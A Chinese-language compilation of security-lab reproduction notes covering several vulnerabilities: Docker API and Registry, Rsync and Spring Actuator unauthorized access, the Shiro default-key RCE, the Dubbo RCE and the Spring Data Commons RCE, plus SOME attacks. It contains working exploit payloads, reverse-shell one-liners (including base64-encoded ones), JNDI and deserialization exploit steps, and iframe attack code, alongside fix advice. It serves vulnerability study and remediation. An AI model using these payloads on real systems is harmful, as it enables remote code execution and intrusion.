# 1. 漏洞搭建

# 下载环境
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境


exp:
https://github.com/Tycx2ry/docker_api_vul

poc:
docker -H tcp://192.168.15.5:2375 version
或者
r = requests.get(f"http://{host}:{port}/version", timeout=timeout, verify=False)
if "ApiVersion" in r.text:
return "docker remote api is unauthorized"

Docker Registry api 未授权
Docker Registry是一个无状态,高度可扩展的服务器端应用程序,可存储并允许用户使用HTTP API分发Docker映像。默认情况下Docker Registry未启用身份验证。
我们可以通过Docker Registry拉出任何容器映像并读取所有者进行的任何更改。还可以上传blob并对docker image进行更改。放置后门等。
refer:https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/
docker register api分为v1和v2版本。

1
2
3
4
5
6
7
8
9
10
11
exp:
https://github.com/NotSoSecure/docker_fetch

poc:
r = requests.get(f"http://{host}:{port}/v2/_catalog", timeout=timeout, verify=False)
if "repositories" in r.text:
return "docker Registry API is unauthorized"

r = requests.get(f"http://{host}:{port}/v1/_catalog", timeout=timeout, verify=False)
if "repositories" in r.text:
return "docker Registry API is unauthorized"

12 Rsync未授权

refer: https://github.com/vulhub/vulhub/tree/master/rsync/common
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

1
2
3
4
5
6
7
漏洞复现
docker复现即可 -> https://github.com/vulhub/vulhub/tree/master/rsync/common

poc
rsync rsync://your-ip:873/
或者
https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/rsync_weak_auth.py

13. SpringBoot应用监控Actuator未授权

refer: https://xz.aliyun.com/t/2233
Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
路径    描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

poc --> https://github.com/rabbitmask/SB-Actuator

修复建议:
实际上Spring Boot也提供了安全限制功能。比如要禁用/env接口,则可设置如下:
endpoints.env.enabled= false
如果只想打开一两个接口,那就先禁用全部接口,然后启用需要的接口:
endpoints.enabled = false
endpoints.metrics.enabled = true

Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)

Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)

本文转自xixiyuguang 并作补充

一.情况描述

1.漏洞描述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。

2.漏洞造成的影响

在配置了默认密钥的情况下,攻击者可以通过精心构造的 Payload 实现远程命令执行,从而进一步获取服务器权限。

3.安全建议

升级shiro至最新版本1.7.0并生成新的密钥替换,注意妥善保管密钥,防止泄漏。利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

4.技术参考

漏洞验证工具:https://github.com/wyzxxz/shiro_rce

二.漏洞检测工具

1.下载地址

https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip

2、操作命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
2020-10-16
放出来一些功能:
1、spring/tomcat回显,执行命令的时候,x=whoami 就行
2、批量检测是否shiro, java -cp shiro_tool.jar shiro.Check http://url 或者 java -cp shiro_tool.jar shiro.Check urls=文件
3、目标服务器不出网的情况下探测

其他:
后面看情况再放出一些更通用的和内存shell


2020-08-21:
新增了cc8 cc9 cc10利用链
新增了输出payload模式,在执行命令的时候输入output=on即可。
参考下面的示例


2020-05-26:
原来的停止服务了,请下载最新版本。


java -jar shiro_tool.jar https://xx.xx.xx.xx
nocheck --> skip check target is shiro or not.
key= --> set a shiro key.
req= --> request body file 抓包保存到文件里,这里写文件名
keys= --> keys file 自定义key的文件,key按行分割,即每行写一个

[admin@ shiro]java -jar shiro_tool.jar https://xx.xx.xx.xx/
[-] target: https://xx.xx.xx.xx/
[-] target is use shiro
[-] start guess shiro key.
[-] shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check URLDNS
[*] find: URLDNS can be use
[-] check CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check Groovy1
[*] find: Groovy1 can be use
[-] check JSON1
[*] find: JSON1 can be use
[-] check Spring1
[*] find: Spring1 can be use
[-] check Spring2
[-] check JRMPClient
[*] find: JRMPClient can be use
[*] JRMPClient please use: java -cp shiro_tool.jar ysoserial.exploit.JRMPListener
0: URLDNS
1: CommonsBeanutils1
2: Groovy1
3: JSON1
4: Spring1
5: JRMPClient
[-] please enter the number(0-6)
3
[-] use gadget: JSON1
[*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[*] command example: curl dnslog.xx.com
[*] if need base64 command, input should startwith bash=/powershell=/python=/perl=
[-] please enter command, input q or quit to quit
> curl json.dnslog.xx.cn
[-] start process command: curl json.dnslog.xx.cn
[-] please enter command, input q or quit to quit
> bash=bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[-] start process command: bash -c {echo,YmFzaD1iYXNoIC1pID4mIC9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzgwIDA+JjE=}|{base64,-d}|{bash,-i}
[-] please enter command, input q or quit to quit
> output=on
[-] print payload mode on.
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> whoami
kPH+bIxk5D2deZiIxcaaaA== - CommonsBeanutils1 - zEC2T+ZP+ib2g+NLMrrU0LRsNu3lr7kjq
82987eI8FZxA8ckaX8LsMNHdParxVS9aYg0Oxl91WD5GztG6Dmg/QO/sjxi+kX/sFpHgqwtG4MCQoogH
Jkhnj73PI6Wn8AJWQyXoOGNMkyboGcEm0Ti1h+WMGQEqw57tRl7Pjr0pMr2oZcUj9huwC/Lfr090FX7v
rPrU5JnQm2Qo7ZrMPnxENXs0yMT6HfU75OejeF6kXbWTaGlvfByscF1ljoDR/k2txdQ1eK4nZ4ReOAqM
uUeeaXwirEw2kg58GktvB2Ghw4egXJBQUdP3H8iE+zrkf12YlPs/RAOq8w0mWfvwB7EnCW3Z83YP8vV1
+reLT9oNyUpCfjKyQVodnpZJY7If4F9al8He7E832RR3mhFvsjJDyNFTbB4TPrRqFDehSVuHib5qkh0s
0YjvCGErxDLH9pFS4G9rNYQeAnXBKeNzS5q2O0xCe5xg4X6l8R6XsU2/V1d6wd27U7u18+DJlo/v58vj
SyUtUaEAAuMN9C30Rr+r7Tk9MVC55eS8l82fURpUwttcRADhJ0esKHAFFAkwnisbAb4Uugz3IADojYlH
BNFtWFuV2dsuqkionEROKLIdVHJGR8URmk79v8lbLbpCWI3cTCf81SwwBoYylKXCyHX2X08VlEUvuHWk
ypx9gVvDuQQQFTGP4ljwpU1NlQPqxaLXmnZ5TyJN2sycL9s8VWMYls4uFATtMkpXXcwaQGFVjCzFrABv
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> x=whoami
root

[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] start process command: quit
[-] quit

3、实际操作

java -jar shiro_tool.jar https://xx.xx.xx.xx/
image

三.shiro源码分析

1.当shiro版本是1.2.4

查看源码,源码中org.apache.shiro.mgt.AbstractRememberMeManager :其默认的秘钥为kPH+bIxk5D2deZiIxcaaaA==,这相当于shiro中如果没有配置秘钥,就会用这个,而这个秘钥又是众所周知的,所以系统很容易被绕过登录,直接进入后台
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

package org.apache.shiro.mgt;

public abstract class AbstractRememberMeManager implements RememberMeManager {

/**
* private inner log instance.
*/
private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);

/**
* The following Base64 string was generated by auto-generating an AES Key:
* <pre>
* AesCipherService aes = new AesCipherService();
* byte[] key = aes.generateNewKey().getEncoded();
* String base64 = Base64.encodeToString(key);
* </pre>
* The value of 'base64' was copied-n-pasted here:
*/
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

/**
* Serializer to use for converting PrincipalCollection instances to/from byte arrays
*/
private Serializer<PrincipalCollection> serializer;

/**
* Cipher to use for encrypting/decrypting serialized byte arrays for added security
*/
private CipherService cipherService;

/**
* Cipher encryption key to use with the Cipher when encrypting data
*/
private byte[] encryptionCipherKey;

/**
* Cipher decryption key to use with the Cipher when decrypting data
*/
private byte[] decryptionCipherKey;

/**
* Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
* an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
*/
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

2.当shiro版本是 >=1.2.5时

动态生成秘钥,注意这块代码

1
2
3
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

package org.apache.shiro.mgt;


public abstract class AbstractRememberMeManager implements RememberMeManager {

/**
* Cipher encryption key to use with the Cipher when encrypting data
*/
private byte[] encryptionCipherKey;

/**
* Cipher decryption key to use with the Cipher when decrypting data
*/
private byte[] decryptionCipherKey;

/**
* Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
* an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
*/
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}


public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

四.springmvc修改

1.修改pom.xml配置

升级shiro版本1.7.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!-- 升级shiro到1.2.5及以上 -->
<shiro.version>1.7.0</shiro.version>


<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>${shiro.version}</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>${shiro.version}</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-cas</artifactId>
<version>${shiro.version}</version>
<exclusions>
<exclusion>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>${shiro.version}</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-ehcache</artifactId>
<version>${shiro.version}</version>
</dependency>

2.增加一个自定义秘钥代码

参考官方的:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
 

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AbstractSymmetricCipherService;
import org.aspectj.apache.bcel.generic.IINC;

import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;

import java.security.Key;
import java.security.NoSuchAlgorithmException;

/**
* shiro 秘钥生成器
*
* @author yuguang shiro有自己的随机生成秘钥的方法 秘钥生成器
*
*
*/
public class MySymmetricCipherService extends AbstractSymmetricCipherService {



protected MySymmetricCipherService(String algorithmName) {
super(algorithmName);
// TODO Auto-generated constructor stub
}

public static byte[] generateNewKeyFromSuper() {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException var5) {
String msg = "Unable to acquire AES algorithm. This is required to function.";
throw new IllegalStateException(msg, var5);
}

kg.init(128);
SecretKey key = kg.generateKey();
byte[] encoded = key.getEncoded();
return encoded;
}



/**
* 使用shiro官方的生成
* org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
* @return
*/
public static byte[] getCipherKey() {
MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
Key gKey = mySymmetricCipherService.generateNewKey();
return gKey.getEncoded();
}

public static void main(String[] args) {
MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
Key gKey = mySymmetricCipherService.generateNewKey();
System.out.println("key: " + gKey.getEncoded());
System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded()));

byte[] decodeValue = org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag==");
System.out.println("decodeValue: " + decodeValue);
}

}

3.修改shiro配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!-- 定义Shiro安全管理配置 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="systemAuthorizingRealm" />
<property name="sessionManager" ref="sessionManager" />
<property name="cacheManager" ref="shiroCacheManager" />
<!-- 加入rememberMe的配置管理 -->
<property name="rememberMeManager" ref="rememberMeManager" />
</bean>


<!-- rememberMe管理器 -->
<bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<!-- <property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('xxxxxxxxxxxx==')}" /> -->
<property name="cipherKey" value="#{T(com.xxx.xxx.MySymmetricCipherService).getCipherKey()}" />
<property name="cookie" ref="rememberMeCookie" />
</bean>

<!-- remenberMe配置 -->
<bean id="rememberMeCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
<constructor-arg value="rememberMe" />
<property name="httpOnly" value="true" />
<!-- 默认记住7天(单位:秒) -->
<property name="maxAge" value="604800" />
</bean>

4.修改完之后测试

image

CVE-2021-30179:Apache Dubbo RCE复现

CVE-2021-30179:Apache Dubbo RCE复现

本文转自Timeline Sec 并作补充

0x01 简介

Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

0x02 漏洞概述

Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象,反序列化的方式有以下选择:
true
raw.return
nativejava
bean
protobuf-json
我们可以通过控制反序列化的方式为raw.return/true、nativejava、bean来反序列化我们的参数从而实现反序列化,进而触发特定Gadget的,最终导致了远程命令执行漏洞

0x03 影响版本

Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)

0x04 环境搭建

以Apache Dubbo 2.7.9为测试环境
1、下载zookeeper
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir
image

2、双击bin目录下的zkServer.cmd,启动zookeeper,默认监听2181端口
image

3、下载测试Demo及POC:
https://github.com/lz2y/DubboPOC
该测试Demo是我在基础的Dubbo测试项目上添加了需要使用的Gadget所需的依赖(该CVE使用的为org.apache.xbean以及CC4)
师傅们也可以参考https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw安装官方提供的项目进行测试
(项目里的POC是我在参考链接的基础上修改后的结果,后续会更新Dubbo的其他CVE、GHSL的POC)

4、启动Provider
image

0x05 漏洞复现

1、下载marshalsec并编译得到jar包

1
2
git clone https://github.com/mbechler/marshalsec
mvn clean package –DskipTests

2、创建Exploit.java文件,通过javac得到Exploit.class文件

1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {

static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

3、在Exploit.class目录下开启http服务
python -m http.server 8000
image

4、使用marshalsec开启JNDI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087

5、查看暴露的接口及其方法

1
2
3
4
telnet Dubbo服务ip Dubbo服务端口
ls
cd 服务
ls

image

打开src\main\java\top\lz2y\vul\CVE202130179.java修改上一步得到的接口名及其方法
image

6、替换CVE-2021-30179.java中的POC1的ldap uri
image

填写Dubbo服务的ip以及端口号
image

7、运行即可发起JNDI注入执行打开计算器
image

POC2同POC1,只需修改LDAP服务地址即可使用
POC3为通过nativejava选项反序列化触发sink点,这里以CC4为例,利用yso生成CC4的序列化文件
java -jar ysoserial.jar CommonsCollections4 "calc" > 1.ser
修改POC中反序列化文件的路径
image

运行即执行calc弹出计算器

0x06 修复方式

升级 Apache Dubbo 至最新版本;
设置 Apache Dubbo 相关端口仅对可信地址开放。

参考链接

https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw
https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/

浅析同源方式执行(SOME)攻击

浅析同源方式执行(SOME)攻击

本文转自Str3am 并作补充

SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗取用户 cookie 为目的,直接劫持 cookie 经行操作,和 CSRF 攻击很类似,不同的是 CSRF 是构造一个请求,而 SOME 则希望脚本代码被执行。  非常感谢兔子师傅@Homaebic在分享会上的分享,才有了这篇文章。

0x01 原理及危害

想要理解SOME攻击,必须先对同源策略和JSONP技术有所了解,JSONP我理解为一种用户可控制js执行函数的跨域数据访问技术,详细可以参见这篇文章或者百度。
SOME攻击
正是由于JSONP可以控制执行函数的特性,产生了SOME攻击,主要危害比如点击链接后自动关注微博,自动点赞,自动授权等。

0x02 攻击条件

存在用户可控函数点,读取用户输入执行对应javascript代码(即寻找JSONP点,通常以get方法callback名传入)
可控点可以输入”.”,点号(因为SOME攻击主要还是操作网页DOM)

0x03 SOME复现

这里通过一个大佬写的SOME靶场来练习复现,除了靶场,还有查找dom工具,exp生成,SOME原理介绍,很不错的一个学习网站。
image

Same Origin Method Execution
点击第一个 Vulnerable Example 项目,并打开一个子网页,在颜色轮盘上选择任意颜色,发现父网页标签背景会根据选择改变。
image

子网页其实就是一个JSONP可控点,当我们点击轮盘中的任意颜色后它的连接如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=changeColor
现在我们想要做的就是控制callback参数,访问之后自动点击父页面的红色按钮。
利用第二个 Reference Generator 项目介绍的谷歌插件,这是一个可以自动获取元素DOM位置的插件。
image

右键即可获取,可在控制台中用click事件测试是否获取正确。
image

修改子页面参数如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=box.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click

访问之后弹窗,按钮被点击,SOME攻击实现。
image

兔子师傅演示的时候打开了两个网页some1和some2,打开some1后,用windiow。open方式打开some2页面,等some1页面加载完之后,some2地址location.replace到payload实现攻击。
我在实际测试的时候发现,当我打开第一个页面,然后直接开启一个新的页面访问payload,第一个页面是不会弹窗的,但是两个页面都是满足同源策略的,按理说执行脚本代码是没问题的,参阅文章后发现,要实现DOM操作,两个界面还必须满足父窗口和子窗口关系,这样子窗口才能够操作到父窗口的DOM,否则执行操作的时候会提示元素找不到的错误。兔子师傅这里是在some1下用window.open打开的some2界面,两个窗口父子关系是满足的。
同时,还需要注意一点的是,因为很多浏览器禁止window.open的原因(谷歌和火狐会禁止),兔子师傅的方法局限性很大,柠檬师傅采用了两个iframe的办法,避免了拦截,也很好的保证了同源性。附上柠檬师傅的代码

1
2
3
4
5
6
7
8
9
10
<iframe src="https://www.someattack.com/Playground/" name=b></iframe>
<iframe name=a></iframe>
<script>
window.frames[0].open('https://www.someattack.com/Playground/','a');
setTimeout(
function(){
window.frames[1].location.href = 'https://www.someattack.com/Playground/ColorPicker.php?callback=document.body.firstElementChild.lastElementChild.lastElementChild.lastElementChild.previousSibling.previousSibling.lastElementChild.click'
}
,1000);
</script>

0x04 漏洞防御

回调函数使用静态函数命名,限制该函数的调用范围。
谷歌的解决方法是,把回调函数加入服务器端的白名单。
Hayak建议,注册回调函数。

参考链接

https://www.someattack.com/Playground/
http://blog.safedog.cn/?p=13
http://www.aqniu.com/hack-geek/5075.html

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

本文转自樱浅沐冰 并作补充

影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

复现过程

vulhub
详细过程请看Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、验证

这里使用dnslog来验证。
先获取一个dns地址
t15gcx.dnslog.cn
image

拼接命令
curl whoami.t15gcx.dnslog.cn

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
image

bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}

Exp

替换对应的payload,重新发送数据包
成功反弹回显到dnslog上
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

image

二、反弹shell

反弹shell
bash -i >& /dev/tcp/192.168.100.23/9090 0>&1

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
监听9090端口
image

替换掉curlwhoami.t15gcx.dnslog.cn对应的payload,重新发送数据包
成功反弹shell
image

参考文章

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Vulhub CVE-2018-1273